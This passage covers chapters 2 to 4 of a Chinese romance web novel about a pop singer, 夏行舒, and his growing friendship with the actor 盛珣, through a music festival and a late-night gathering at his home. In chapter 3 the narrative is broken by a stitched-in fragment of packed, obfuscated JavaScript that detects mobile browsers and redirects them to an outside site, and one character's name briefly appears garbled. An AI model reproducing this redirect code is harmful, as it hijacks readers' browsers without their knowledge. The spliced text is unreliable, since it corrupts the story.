《该死的同担可真该死啊》 2. 业绩压力 其实盛珣这话说的也不对。 夏行舒很喜欢交朋友,尤其在进了娱乐圈之后,工作和生活其实很难严格分开,很多时候总是会因为自己的工作性质影响到他和自己圈子外的朋友的交往,几遭下来,夏行舒也不得不面对着自己曾经的朋友离他越来越远的事实。 老实说确实很难接受,他本身就是一个很需要朋友的人,需要工作之余的消遣,也需要一定的情感寄托来承载他有些过于丰沛奔放的情绪。 交新朋友便成了夏行舒工作之外的颇为重要的大事。 他很重视,重视到非常主动的地步。 就目前来看,他的大部分朋友都是他主动要来的联系方式。 盛珣算是个例外吧。 夏行舒摩挲了一下手机,盯着手机屏幕看了半响后还是动手改了一下备注。 刚备注完,盛珣就发来了消息,简单又自然地慰问了一下他。 可能是因为刚加上微信,还有点新鲜感,夏行舒安安分分地回盛珣消息,还不知不觉地感受到了些许意思。 抛开业务范畴不同外,他俩其实难得地还有不少共同点。 比如他俩现在都住在北京,且都还在租房子住的阶段。 夏行舒倒挺意外的,毕竟盛珣出道时间可不短,而且演员怎么也比歌手能赚点吧...... 夏行舒:【你也还没买房呢?】 盛珣:【老在组里待着,没什么买的必要。】 夏行舒笑出了声,心道也是,他一开始觉得盛珣神秘的原因就是感觉他总是神出鬼没的,除了在大荧幕上看见他外,私底下的任何场合都见不到本人,甚至在媒体那儿也很少看到盛珣的新闻。 这才是事业批啊。 都说人类的人生可以用瑞士卷来区分,有些人在瑞士,有些人在卷 盛珣倒好。 他在瑞士卷。 大家都住在北京了,共同话题就自然而然地产生了,两人就北京的市政交通,绿化环境大肆交流了一番之后又聊到私人一点的问题。 比如现在搁哪儿住。 盛珣说的那个小区夏行舒没什么印象,顺便上高德地图上查了一下,看了眼距离后咂了咂舌,回了盛珣一句他俩住的挺远。 夏行舒住在一个艺人很多的小区,下楼丢个垃圾都能撞上好几个在电视屏幕上的熟脸。 夏行舒:【像卢宁,方诺庭他们都住和我一个小区,你应该都认识吧?】 盛珣回复说认识。 夏行舒:【认识就好,有机会一起聚聚。】 盛珣回了句好。 夏行舒把这个好字掰开来仔仔细细品味了好几遍,也没琢磨出来这个算是真情实感的同意还是只是一种认真的敷衍。 很难说。 夏行舒确实对盛珣了解不多,但是单凭感觉的话,他猜测盛珣应该不是一个喜欢社交的人。 还是太冒失了。 夏行舒有些后悔,伸手摸了摸鼻尖,主动换了话题。 话题并没有夏行舒先前想的那么难找,聊聊生活,聊聊工作,虽然他们在的领域不同,但是也许是盛珣对音乐有所涉猎,加上情商又高,总能轻而易举地接上夏行舒的话茬。 两人一唠就不小心唠到了凌晨,从家乡美食聊到了各地风俗,从诗词歌赋聊到了人生哲学。 还挺诡异的。 一个歌手和一个演员大半夜地讨论起了相声和脱口秀。 夏行舒说他还想尝试一下讲脱口秀的,盛珣在对面沉默了半响,还是说了句他也挺想演相声演员的。 夏行舒说他们俩都有光明的未来。 盛珣表示赞同。 第二天两人都有活儿,见时间不早了,相互说了声晚安后就各自休息去了。 夏行舒在给手机息屏前,又乐滋滋地给盛珣发了一句交友官方用语。 【夏行舒】:盛老师,很高兴认识你。 对面的盛珣可能以为聊天已经结束了,过了小两分钟才回了消息。 【盛珣】:有多高兴? 夏行舒愣了一下,又下意识地细细品味了一下盛珣发这四个字背后的情绪,琢磨了半响后才又回了一句废话。 【夏行舒】:别提有多高兴了!叉腰/ 盛珣没忍住笑出了声,在确定聊天真的结束了之后才把手机放回床头柜充电。 夏行舒要赶第二天去杭州的飞机,一大早就被助理喊醒,还没等清醒就被迷迷糊糊地推上了车,等意识恢复过来已经站在了机场的大厅里。 赵静这次没有跟来,只有几个工作人员跟着夏行舒。 见夏行舒醒了,助理掏出手机和夏行舒说了一下今天的安排。 “咱先过去,酒店也定好了,可以先去酒店休整一下,主办方那边也忒不靠谱了,彩排怎么安排现在都还没出来,也不能过去干等吧。” 助理抱怨了两句,又进群里看了好几遍消息,心累地催了下主办方那边的对接人,看了眼时间后冲夏行舒道:“走走走,夏哥,别坐着了,过安检去。” 往常一向顺利的安检今天也不知道什么情况,突然出了问题,愣是耽误了不少时间。 一大早就开始出差错,夏行舒心里挺不是滋味,总感觉今天一天估计都不会太顺利。 夏行舒刚到酒店没多久就收到了主办方那边的消息,说彩排流程出来了,他排在最后几位,顺利的话能十点前结束,不顺利的话估计又得到凌晨了。 杭州的天气也不好,阴冷又潮湿,风像是能钻进骨头缝里似的,公司安排的表演服薄的要命,助理还在一旁琢磨着该怎么给夏行舒捎上点暖宝宝,夏行舒已经盘算着去现场看看了。 夏行舒一向敬业,加上这段时间跑了不少音乐节或者拼盘演唱会,对这些活动心里都很有数。 不出点幺蛾子才有鬼。 提前去看看场到时候表演也能多有点底。 夏行舒提前去了现场,被工作人员领到舞台旁看了几眼。 现在彩排的人还是夏行舒的熟人。 夏行舒来了兴趣,在台下多看一会儿。 彩排的是宋柏,也是一个原创歌手,不算太出名,平时也佛,别说专辑了,连单曲,EP出的也不多,奈何一专过于出色,粉丝对他的容忍度高,总是自我安慰着宋柏只是过分专业和细致,想再好好打磨二专,不想走下坡路。 粉丝不清楚内情,夏行舒倒是多少能理解宋柏。 抛开自己灵感枯竭的情况外,估计也就只有公司不配合的原因了。 宋柏在台上的时候就瞅见台下的夏行舒了,彩排刚结束就径直朝夏行舒走去,笑呵呵地拍了拍夏行舒的胳膊后道:“哟,夏老师来这么早呢?” “提前过来看看。”夏行舒也笑,“这音响确实不太行哈。” 宋柏拉着夏行舒坐下,开玩笑地挤了挤眼道:“这不让你专职来修音响了吗?” 夏行舒配合地摆出了一副吃了苍蝇的表情,也没自恋地去接茬。 “最近在忙什么呢?难得见你接音乐节的活。” 宋柏搓了搓大腿,道:“能忙啥,整天家里躺。” 夏行舒很有分寸地没再多问,目光在舞台上流连了一会儿,又看了眼时间,琢磨着什么时候轮到自己。 “你这还得等吧,待会儿是丁轶,他还没来呢。”宋柏瞥了夏行舒一眼,继续道,“我听我助理讲他好像出了什么状况,得迟一阵子。” 夏行舒乍一下听丁轶这个名字还有点熟悉,在脑子里转了几圈才有点印象,“哦,他呀。” 昨儿拿了最佳男主的那位。 “他双栖呀。”夏行舒回头看宋柏。 宋柏耸耸肩,“之前是选秀出道的,团解散之后自己单干了,唱了一阵子就去演戏了。” “你和他很熟?” “以前在棚里见过。” 夏行舒哦了一声,莫名又想起了盛珣。 虽然这么想不太好,但是他也确实会有点受大众观点的影响。 盛珣的那个奖啊。 “那你和盛珣熟吗?”鬼使神差的,夏行舒开了口。 “不算熟,也见过,前阵子一起录综艺,完事之后那期的嘉宾一块儿出去吃了顿饭。” “他人还行,会来事,在圈子里口碑蛮好的。”宋柏补充道。 许是昨天刚出了那场到手的奖飞了的闹剧,宋柏下意识地把盛珣和丁轶放一块儿比较了一下。 “盛珣那奖确实可惜了,是个好本子,演的也好,丁轶就......” 宋柏点到为止,但是两人心里都有数,只是碍于都是圈内人,有些闲话也不好胡乱就说出口。 丁轶一迟就迟了快一个小时,夏行舒已经等累了,自己在休息室熟悉了一遍歌,见工作人员来喊了,便立刻站起身朝舞台走。 已经接 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“夏老师之后还有什么安排吗?”丁轶见夏行舒要走了,自然地跟了两步,开口邀请道,“我准备攒个局,就在杭州。” 夏行舒把口罩戴好,回头看丁轶。 丁轶毕竟是流量小生,长得确实不错,笑吟吟的样子看起来谦虚又温和,像是真想和他交个朋友。 “我很喜欢夏老师的歌。”丁轶继续道,“希望有机会能合作。” 也挺奇怪的。 这两天夏行舒老听见这话。 但你说是真喜欢吧,看丁轶的表情也不像是特别真诚的样子。 和盛珣比差远了。 夏行舒没来由地又想起了盛珣,两相比较下,心里的天平也不自觉地开始朝这个神秘的男人倾斜。 最起码盛珣说那话的时候,夏行舒可没觉得他不真诚,就算都是演的吧,那也算盛珣演技更好。 稀里糊涂地想了半天,夏行舒才婉拒道:“不了,我明天结束就回北京了。” 丁轶似乎有点遗憾,非常明显地叹了口气后才笑道:“那太可惜了,不过没事,以后还有机会。” 夏行舒敷衍地点点头。 “咱们加个微信吧。”丁轶从口袋里掏出了手机,垂眸点开了微信后冲夏行舒挥了挥。 夏行舒的眼睛被手机屏幕的光晃了一下,眯了下眼后道:“不好意思,我彩排没有带手机。” 空气安静了两秒。 丁轶把手机收了起来,嘴角的笑有点维持不住了,憋了半响后道:“好吧,那你忙,我就不多打扰了,走了哈。” 夏行舒如释重负地目送丁轶离开,默了几秒后才从口袋里翻出手机,美滋滋地发了条朋友圈。 夏行舒:明儿回北京,有朋友在北京不?来我家耍! 夏行舒朋友多,光是微信通讯录就大几千号人,朋友圈刚发出去没多久就多了几十条回复。 夏行舒一边等司机一边回评论。 他的朋友们积极倒是挺积极,只是现在临近年底,都有业绩压力在身上,不是忙着搞专辑就是出去接商演了,还真没几个人留在北京。 不过还是多少有点,就搁家里喝喝小酒唱唱歌也行,人太多也难收拾,尤其这几个还都是爱折腾的。 夏行舒和他们约好了时间,正要收起手机上车时,才又注意到朋友圈的位置又多了一个小红点。 是盛珣。 盛珣:在。 简洁的一个字配上了一个非常严谨的句号。 夏行舒傻了两秒,又开始暗暗琢磨盛珣这是个什么意思,是单纯地告知他也在北京,还是说...... 他也想来呀? 夏行舒上车了之后还在纠结,回复肯定得回复啊,不能他回了所有人的评论就单单不回他的,盛珣要是玻璃心一点岂不是要彻夜难眠? 就是回什么是个问题。 夏行舒绞尽脑汁按下了一行字,反复品读了一遍后又愁眉苦脸地删掉了。 其实也不是不让盛珣来,多他一个也不多,只是他那局还有别的朋友在,又都闹腾的不行,盛珣不一定能适应的了。 但是没准儿人家就是想来交朋友呢? 夏行舒考虑了半天,还是硬着头皮回了消息。 夏行舒:那你也来? 3. 刻板印象 盛珣没再回评论了。 可能是忙工作去了。 夏行舒倒不介意什么,干他们这一行确实没什么机会一直盯着手机看,也真不能怪他们总是被粉丝说2g网。 助理在旁边坐着玩手机,见夏行舒把手机息屏了,斜眼瞥了下后道:“夏哥,你啥时候抽空自己发条微博呗,你粉丝都要闹了。” 早些时候夏行舒的微博还归自己操控,每天都把微博当朋友圈发,絮絮叨叨的特别有生活气息,粉丝们也乐得看这种接地气的微博,每天最期待的事就是猜测夏行舒今天会发些什么。 后来人气起来了,工作多了起来之后就很难抽出时间来发微博了,每天都忙的连轴转,尤其是发专辑的那两年,不是跑商演就是接综艺,微博也被公司接手,逐渐从分享日常生活变成了官方的宣传营业。 慢慢地就没人味儿了。 夏行舒佛系,不争不抢的,除了写歌就是唱歌,也懒得掺和公司的决断,只要不影响他做音乐,他也不怎么会去反抗公司的决定。 不过夏行舒佛,不代表夏行舒的粉丝也佛。 粉丝们每天的任务就三样。 看演出,催三专,还有骂公司。 夏行舒慢吞吞开口:“账号密码我都不记得了。” 助理苦笑:“我给你登上,你随便发一条,哎嘛,评论你悠着点看。” 夏行舒挑了挑眉,问:“都还在诅咒公司呢?” “那可不。”助理把手机交给夏行舒,沉默了几秒后还是没忍住道,“这搞得我都很矛盾,一方面公司倒闭了我也就失业了,另一方面......” 又还真挺希望这个狗公司倒闭的。 自从夏行舒签了这公司后是真受了不少苦,作为这个半大不小的公司的台柱子,通告是要接的,钱是要给公司赚的,人的专辑也是要压着不给出的。 别说粉丝了,他听了都想一拳打爆公司。 夏行舒没接话,轻飘飘地叹了口气后接过了手机,斟酌了一会儿后自己编辑了条微博发了出去。 就是条日常博,没有什么实质的内容,但是发出去的一瞬间,大部分粉丝还是一眼就认出了是夏行舒本人发的。 【我天呢!狗公司竟然把账号还给夏夏了?】 【夏夏,歌歌,饿饿。】 【不会吧,不会吧,不会有人没有抢到明天杭州音乐节的票吧?】 【歌单好像还是之前那些歌,催催三专,到底啥时候出啊?从年初就说要发了,这都快年底了,还一点影子都没......】 【对啊,也不着急说一口气全发出来,也可以一首一首发呀,到时候再全收入进专辑就好了。】 【毕竟都是自己作词作曲,肯定需要时间打磨的,别逼的太紧了,慢慢来吧。】 ...... 夏行舒出道时间不算长,但是完全走的实力派的道路,性格好长相好,根正苗红的,出道几年下来也完全找不到黑点,虽然公司差劲又黑心,但是凭自己的能力还是拿下了不少好资源,也逐渐在歌手圈站稳了脚跟,粉丝虽然不说太多,但是胜在活人多,评论内容也千奇百怪的,很有意思。 夏行舒看了一个来回,抿了抿唇后点去微博热搜榜看了眼。 还有几个大热词条挂在顶端。 #水镜奖最佳男主角丁轶# #盛珣# #水# 夏行舒倒是预料到了这事肯定得上热搜,但是也没想到能在热搜上挂一整天,到现在都还在前五占着。 估摸着就是有资本下场了。 夏行舒若有所思地点开评论区看了一眼,原本猜测前排估计都是丁轶的粉丝控评,盛珣的粉丝被压着打,但是没想到乍一眼看过去,这两家的粉丝还打的有来有回的,甚至盛珣的粉丝还要占上风。 这可稀奇了。 夏行舒虽然不太了解演艺圈那边的情况,但是也清楚盛珣属于去流量化很成功的艺人,粉丝都很死忠且稳定,但是能冲锋陷阵的粉丝相对流量艺人来说也要更少。 和夏行舒差不多。 数据做不起来,普通的节目宣发微博控不住评,但是耐不住路人粉多。 尤其这次确实有点引发众怒了。 人家好演员兢兢业业地深耕演戏,拿出了好作品去参奖,最后却被一个流量艺人偷走了。 一个是演员,一个是艺人。 大家心里也都门清儿。 夏行舒看了个热闹,寻思着这事对盛珣没有什么坏影响,也就没主动去向盛珣进行一些人道慰问。 毕竟他们现在还只是普通同事,甚至还是小小地跨了点圈的同事,确实还没有熟到能上赶着去关心人家的地步。 夏行舒把手机还给了助理,心如止水地躺下开始闭眼小憩。 到酒店的时候已经快半夜一点了,第二天一大早就去了现场,认认真真地在休息室里练了会儿歌,准时地上台表演,平平稳稳地唱完了六首歌收工。 台下粉丝的欢呼声一阵又一阵,夏行舒笑眯眯地冲粉丝们挥手,举着话筒对听众们说了句再见后就头也不回地下了台。 下班不积极,思想有问题。 助理见夏行舒下了台,连忙上前把厚大衣搭上了夏行舒的肩膀,盯着夏行舒被冻红的鼻尖小声道:“公司也是的,不看天气的吗?老是给这种薄的要死的衣服。” 还丑。 抠死公司得了。 夏行舒把外套套上,没接助理的话,继续问道:“时间还够吗?不会赶不上飞机吧?” 夏行舒认真地看着助理,一双眼睛里满是归心似箭。 助理:“放心,来得及,车已经在外边等了,你还卸不卸妆了?” “不卸了,先上车吧。”夏行舒斩钉截铁。 今天的音乐节是这个月最后一个活动了,再过一个月就要跨年,明年是个什么计划夏行舒也不可得知,反正就目前来看,公司给他空下半年时间写歌的概率还是挺大的。 夏行舒给了自己一个积极的暗示,然后就乐颠颠地开始手机摇人了。 虽然连机场都还没到,但是并不妨碍他那些尊贵的,爱迟到的朋友们提前准备好来他家聚聚的行程。 夏行舒组局组的很多,但是人又懒,不愿意出门,所以每次都把地点定在自家,随便又自在,还能交代他们走的时候一人捎一袋垃圾走,利利索索的,来的时候没空手来,走的时候也不带空手走的。 夏行舒到家的时候已经快晚上九点了,刚宣布了一下自己的返回进程,楼上的方诺庭就坐着电梯下来了。 “空手来的啊?”夏行舒瞅了一眼,问。 方诺庭怒目圆睁,“哎妈呀,你都从我家薅多少东西走了,还指望我捎东西来呢?” “我这不刚回吗,家里没啥东西招待人了。”夏行舒趿着拖鞋往厨房走,草草地检查了一下自己的库存,琢磨着现在点个外卖可不可行。 “几个人来啊。” “就你们几个,还有那谁,卢宁他们。” 他们几个人住一个小区的,来来往往的都很频繁。 方诺庭捡了个葡萄丢进嘴里,砸吧着嘴说:“那别点了,给他们搞点热水喝就行,好养活。” 夏行舒一听,摸着下巴考虑了一会儿觉得可行,随手把剩下的一点点圣女果拿了出来,寒暄道:“你咋回事啊,今天没活儿?” 方诺庭撑着桌面,懒洋洋道:“没活儿,都过气了。” “哎哟,你要过气了那我算啥?”卢宁熟门熟路地进门,搭上了方诺庭的话后把手里的酒放在了桌上,又睨了眼桌子上的圣女果,骂道,“夏行舒你是真行,就给我们吃这玩意儿啊?” 夏行舒指控方诺庭:“本来还有俩葡萄的,被他吃了。” 夏行舒刚说完,这俩活宝就缠斗在了一起,夏行舒乐得看热闹,一边洗圣女果一边只靠嘴皮子劝架,没一点上手阻拦的意思,甚至还时不时加把火进去,撺掇他俩再打几轮。 几轮下来,两人都累得够呛,躺在沙发上大喘气,眼珠子搁茶几上滴溜溜地转几圈,见确实没啥吃的喝的才又开始唉声叹气。 这次攒的局不大,拢共就几个人,卢宁带的那两瓶酒其实也够用了。 都是艺人朋友,见面之后难免聊聊工作,到后来人到齐也就不讨论工作了,全部沉迷进了唱歌喝酒打牌当中。 夏行舒家里的歌唱设备质量特好,隔音效果也不错,加上一层一户,哥几个嚎起来也完全不带收的,把夏行舒都嚎的脑门直抽抽。 从杭州回来夏行舒也没来得及给手机充电,被人拱着上去唱了两首歌,夏行舒顶着那群傻子“虚假浮夸”的吹捧声坐回了沙发上,这才想起来给手机充个电。 手机刚开机,微信延迟了许久的滴滴声疯狂响了起来。 最上头的有些让夏行舒意外。 是那个神秘的男人。 夏行舒眨了眨眼,点进去看了眼,盛珣给他发了好几条消息,全是问他现在在不在家,能不能开个门。 夏行舒:“......” 夏行舒把手机一丢,三步两步就走到门前,开门的瞬间,倚在墙上的盛珣也顺势望了过来。 盛珣应该是刚赶完通告回来,脸上还带着妆,只是妆淡,寥寥几笔就将盛珣凌厉出色的五官勾勒得更加灼目,即使在灯光有些昏暗的楼道里依旧光彩照人,浑身上下都是大明星的气场。 夏行舒握着门把手的手紧了紧,面上有些抱歉,“不好意思啊,盛老师,里边太吵了,我没听见。” 盛珣似是不太在意,侧目草草地扫了眼室内,开口道:“没事,我才来不久。” 夏行舒看了眼盛珣衣服的褶皱,又瞅了眼盛珣的精神面貌,寻思了半天也还是觉得他这可不像才来。 见夏行舒还是有些不好意思,盛珣主动别开了话题,抬了抬手给夏行舒展示了一下自己手里的东西。 夏行舒又是一个没过脑子,“哎呀,这是拜年来了?咋拎这么老多东西?” 空气安静了几秒。 盛珣没忍住笑出了声,唇角眉梢都染上了笑意。 倒是貌美,就是嘴里吐出的话咱们夏老师不太爱听。 “夏老师确实幽默,难怪朋友多。” 夏行舒纠正了一下:“这俩可没必然联系。” 他才不是因为幽默才朋友多,是因为朋友多才变得幽默的。 他和朋友相处就这逼样,嘴里没个轻重,小话一套一套的,他的朋友们倒是都吃这一套,就是不知道盛珣能不能驾驭的住。 夏行舒又抬眼看了眼盛玘安。 盛珣脸上的笑意还没有淡下来,眉眼深浓,眸光微亮,垂眸看夏行舒的目光显得过分的专注。 颜控夏行舒没忍住小脸一红,别开了眼,又盯着盛珣手里的东西道:“你都带了些啥啊?” “你不是长沙人吗?”盛珣道,“我正巧去了趟长沙,就给你带了点特产,上回咱俩聊天你还说想吃了。” 夏行舒下意识抬头看盛珣,才刚撞上盛珣的目光就又猛地移开,只感觉自己垂在身侧的指尖莫名有点发麻。 “啊,那多麻烦你啊。”夏行舒顿了两秒才艰难开口,“不用这么客气......”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15160140|165039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 盛珣也沉默了一会儿,而后才微微弯了弯唇,道:“没有,刚巧顺路,就买了点。” 这个解释确实让夏行舒稍微好受了一点,但是不多。 毕竟他们现在的关系还不算特别亲近,人过来一趟又是特意给他带特产又是被硬生生关在门外大半个小时的...... 这下不只是指尖发麻了,夏行舒头皮都开始发麻了。 这人情要是接下了,之后可得想法子还了。 “盛老师先进来吧。”夏行舒突然想起来这回事,侧了下身给盛珣让出了点空间,招呼客人进门,“我还有别的朋友在,放心,人不多,你应该也都见过......” 夏行舒回头看了眼自己的朋友们,恰巧碰上了方诺庭看过来困惑且意外的目光。 盛珣进了门,换鞋的时候,还在客厅里胡闹的几人都自发的安静了下来,酒也不喝了,歌也不唱了,都“唯唯诺诺”地站在原地注视着盛珣。 气氛骤然有些尴尬。 夏行舒抠了抠手,目光在双方不停游移。 其实可以理解,毕竟他们虽然都见过,但是确实不是那么熟,而且盛珣确实有些太红了,大家还不是一个圈子里的人,不自觉地想拉开距离也很正常。 方诺庭又偷偷瞅了眼夏行舒,眼神攻击了一波后才主动上前和盛珣打招呼,有了方诺庭打样,其他人也都上去打招呼了。 非常客气,非常疏离,非常生分。 饶是夏行舒都有些不自在了。 不过盛珣倒是挺轻松的,没什么架子,笑着和每一个人握手寒暄,润物细无声地融进了他们的氛围里,喊喝酒就喝,递了话筒就接,几轮下来不知不觉就和方诺庭他们“称兄道弟”了起来。 夏行舒松了口气,本来还担心盛珣会因为融不进他们而尴尬,但是目前看来他的体验感应该还好。 “你住哪儿啊?”方诺庭抽空瞅了眼时间,见已经凌晨一点多了,眉头跳了一下,扭头问盛珣。 夏行舒把音响的声音调低了一点,把遥控器放下的同时侧目扫了盛珣一眼。 为了营造氛围,客厅的灯没开几盏,朦朦胧胧的,盛珣坐在沙发上,大半张脸都浸没在黑暗中,只隐约能窥探出些许凌厉的下颌轮廓。 夏行舒收回了目光,替盛珣回了方诺庭的话。 夏行舒的话音刚落,就敏锐地察觉到盛珣回头看了他一眼。 夏行舒呼吸一滞,条件反射地回忆了一下自己有没有记错。 “嗯。”盛珣应了一声。 夏行舒松了口气,方诺庭提起了气。 “这么远?那你还回去吗?”方诺庭开口,“你明天没通告吧?” 这都快两点了,等回家少说得四点,那还睡啥啊,直接无缝对接明天的活了。 盛珣倒是冷静的很,平平淡淡地说了句,“没事,在车上睡会儿就够了。” 可怜见的。 夏行舒几人同时升起了这同一个念头。 很奇怪很微妙,有些人的可怜真不是卖惨卖来的,反而那种若无其事,古井无波地诉说更容易掀起同情心。 比如盛珣现在。 夏行舒张了张嘴,抬眼看了盛珣一眼,脑子飞快地转了几圈,还没纠结出个所以然出来,方诺庭就率先开了口。 “那你就睡行舒家呗。” 夏行舒:“......” 得。 轮不到他纠结了。 有傻子替他决定了。 方诺庭没瞅见夏行舒表情的微妙变化,又道,“很多人都住过他家,虽然磕碜了一点,但还是能凑合凑合。” “那可不,人多的时候沙发都排不上,得睡阳台。”卢宁添油加醋道,“瞅见厕所门口那个垫儿了吗?我可躺过啊。” 夏行舒眉头一跳,抬脚就踹了过去,警告道:“行了啊,少在这里危言耸听。” 卢宁咯吱咯吱笑了半天。 盛珣也没忍住弯了弯唇,目光顺着就落在了夏行舒脸上。 夏行舒眉头还皱着,但是眼睛依旧圆溜溜的,眸子丝毫看不出一丝愠愤,仔细看还能品出些许轻松和习惯。 可能这就是夏行舒和朋友的相处之道吧。 盛珣眸光闪了闪,一时间不知道心里是什么意味,只感觉像是被绒毛轻轻扫了一下,很轻很快,不注意还好,一旦注意到了,感受就不断地被放大。 “行吧,盛老师。”夏行舒想起了正事,伸手挠了挠下颌,又侧目看向盛珣,稍微顿了一下才继续道,“你要是不介意的话,晚上住我家吧。” 盛珣本还垂着眸,闻言抬了抬眼,目光蓦地与夏行舒望过来的视线撞上。 夏行舒眸光乌亮清透,也没移开目光,想了想后又亡羊补牢地补充道:“我家有床的。” 还真怕盛珣信了卢宁的鬼话。 夏行舒矜持地抿了抿唇,等着盛珣回答。 其实不太好。 夏行舒冷静一想。 他和盛珣认识才几天,面也就见过两次,他上次对盛珣的印象还是神秘呢,这会儿就胆大妄为地邀请人家留宿了。 每个人的接受程度其实都不同的。 根据某种......刻板印象? 夏行舒觉得盛珣应该是那种边界感挺强的人......吧? 空气静了一瞬。 盛珣动了动,眼睫微抬,身形轮廓被朦胧的灯光修饰得稍显冷寂。 夏行舒隐约捕捉到盛珣看了他一眼,还没琢磨出什么名堂出来,就听见盛珣的声音响了起来。 “好,麻烦夏老师了。” 4. 法治社会 盛珣的“安置”问题很快就解决了。 夏行舒有些累了,脑子短暂地放空了一会儿,目光在自己的家里游移了几圈。 他家面积不算太大,三室两厅,其中一个卧室被他改成音乐室了,里面烂遭地堆了一大堆乐器碟片。 另一个房间他收拾了没啊? 夏行舒艰难地回忆了半天也没想起来。 也不知道有没有干净的四件套。 要是没的话,盛珣真只能去睡阳台了。 夏行舒的嘴唇微妙地弯了一下,懒懒地往后一躺,慢悠悠地打了个哈欠。 时间也不早了,虽然明天没有通告,但是前几天的连轴转还是让夏行舒有些身心俱疲,玩够了之后只想在床上躺个十天八天的。 毕竟是好几年的朋友了,方诺庭和卢宁这点眼力见还是有的,拍了拍手就起身准备撤退了。 “那你俩好好休息啊,节制点,别耽误明天的事了。”方诺庭伸手顺了块饼干进嘴里,一边嚼一边冲夏行舒使眼色。 贱嗖的。 夏行舒冷笑了一声,“吃东西还堵不上你的嘴了,赶紧走吧。” 方诺庭咯吱一笑,搂着卢宁就往门口走,哀哀戚戚地道别,“走了走了,害,真残忍,喊我来的时候你可不是这副面孔。” 夏行舒没什么形象地翻了个白眼,也跟着起身把这俩活宝送出门。 随着门阖上,客厅里吵闹的音乐声也停了下来。 夏行舒顺手把客厅的氛围灯关上,白澄澄的白炽灯亮了起来,原本坐在沙发的盛珣顺势望了过来。 眉弓优越,眸光冷寂。 夏行舒心脏诡异地跳了一下。 盛珣应该是累了,脊背微微拱着,背部肌肉被绷出了一道流畅的弧度,在和夏行舒撞上视线时又缓缓直起了腰,似乎有要站起来的趋势。 “你累了就歇会儿吧,他们是挺闹腾的。”夏行舒别开眼,自然地开口,“我去收拾下你的房间。” 盛珣笑,“没事,挺有意思的。” 夏行舒挠了挠下颌,抬脚往次卧走,回道:“是吗?那有机会常聚聚,反正大家都在北京。” 夏行舒说完又是一顿,卡了几秒才把房门打开。 夏行舒的社交理念一贯都是如此。 朋友就是要多见面才能维持住感情,如果纯纯线上聊天那还是朋友吗?那就成网友了。 盛珣其实人还行。 虽然才认识没多久,但是毕竟夏行舒之前对他有点子滤镜,这次见上了面,那层滤镜也没有完全碎掉,反而因为真正接触了盛珣,变得更...... 真实了。 毕竟被关在门外半个小时,情绪还能这么稳定的人不多了。 夏行舒瞅了眼次卧,见室内干干净净的才松了口气,转身去衣柜翻四件套,余光瞥见盛珣进来了,随口道:“这个是干净的呀,放心。” 盛珣应声,自然地伸手去帮着夏行舒铺床。 “这房间有点小哦。”夏行舒也没拒绝盛珣的帮助,继续道,“那个稍微大点的房间被我用来放乐器了。” 盛珣似乎是有些困了,眨了下眼睛后才道:“锁了门的那间?” “嗯。”夏行舒开口,“你要看看嘛?” 盛珣颔首,“好啊。” 音乐室就没怎么被收拾了,尤其夏行舒最近也确实忙着出三专,除了要出门跑通告外,剩下的时间不是泡在公司的录音间就是自家的音乐室里了。 乱。 “但是乱的很有秩序。”夏行舒窘迫地挠了挠脸颊,有些懊悔自己不该嘴那么快地就邀请盛珣看这个房间。 影响他的对外形象。 盛珣笑出了声,但也非常体贴地没往“乱”这个方向扯,转移话题道:“夏老师会的乐器还挺多的。” 夏行舒拉了个椅子给盛珣,示意他坐,弯腰草草把桌面上的稿子收到一起后才道,“都会点,但是真没精通的。” 这个夏行舒倒没有说谎。 他没有系统地学过音乐,可能在音乐上多少有那么点天赋,唱歌还算好听,又有点写曲写词的小想法,在大学期间勤工俭学......或者说是为了娱乐,就开始了他的“音乐之路”。 酒吧驻场,街头卖唱。 能尝试的夏行舒都尝试过了。 “算是运气吧。”夏行舒耸了耸肩,道,“反正现在就这样了,但是毕竟是要吃饭的,该学点还是得学点。” 盛珣了然地点头。 “你知道宋柏吗?”夏行舒打开了话闸子,又道。 盛珣:“小缘是他的歌?” “嗯哼,他很厉害的。”夏行舒道,“他写歌就全靠哼哼。” 盛珣抬眼看夏行舒。 灯光打在夏行舒的脸颊上仿若镀上了一层柔光。 他的睫毛很长,眨眼时仿若空气中细小的粉尘光点也围绕簇拥而上,灵巧地上下跃动。 鼻梁挺拔,但却不是非常生硬的直线,鼻尖微微往上翘着些许弧度,笑的时候会不自觉地皱起鼻子,看上去非常俏皮又灵动。 盛珣霎时有些愣神,一些模糊的记忆似乎像是被画笔草草地描摹了一遍,但是总始终被一层浓雾蒙着,让他找不到突破的边界。 夏行舒是老夜猫子了,这会儿都已经半夜快三点了,人还是异常精神,这会儿摸到了乐器更是上了头,手指有一下没一下地在电子琴上按,古灵精怪的一串音符就这么轻巧地从他的指尖跳跃出来。 “你前两天不是去长沙录节目吗?”夏行舒打破了沉默,主动问道。 盛珣应声。 “真唱了我的歌?”夏行舒嘴唇轻微地弯了弯,眼神也偷偷摸摸地往盛珣这飘来,眸中裹挟着些许试探和一点小小的得意。 捕捉到了夏行舒的小情绪的盛珣没忍住笑了一下,道:“版权费挺贵。” 夏行舒有些不好意思地抬了抬手,嘟囔道:“哎呀,那谁让咱俩认识的晚呢,要早两天认识,我直接就给你唱了,哪里还需要收什么版权费?” “哦,不对。”夏行舒又像是想到了什么,纠正道,“收应该还是得收,我歌都挂公司下头呢。” 盛珣耸了耸肩,无所谓道:“现在说也晚了,节目都已经录完了。” 夏行舒问:“你唱的我哪首歌?” 其实也就是随口一问,夏行舒估摸着会唱那首OST,毕竟是盛珣主演的剧的片尾曲,盛珣唱也合情合理。 但是最好不要是他那几首烂大街的歌。 他每次问到别人喜欢他什么歌的时候,永远都是那几首大热歌。 虽然合理,但他总是会忍不住产生一种觉得他不真诚的感觉。 但也就是一点点。 转念一想也不是什么坏事,还是能证明他的歌出圈的。 “圆桌。”盛珣出乎意料道。 夏行舒没忍住瞪大了眼,似乎完全没想到会是这首歌。 《圆桌》是他二专里的一首歌,不说和第一主打和第二主打比吧,就算是和专辑收录的其他几首歌相比,都是属于不温不火的一首。 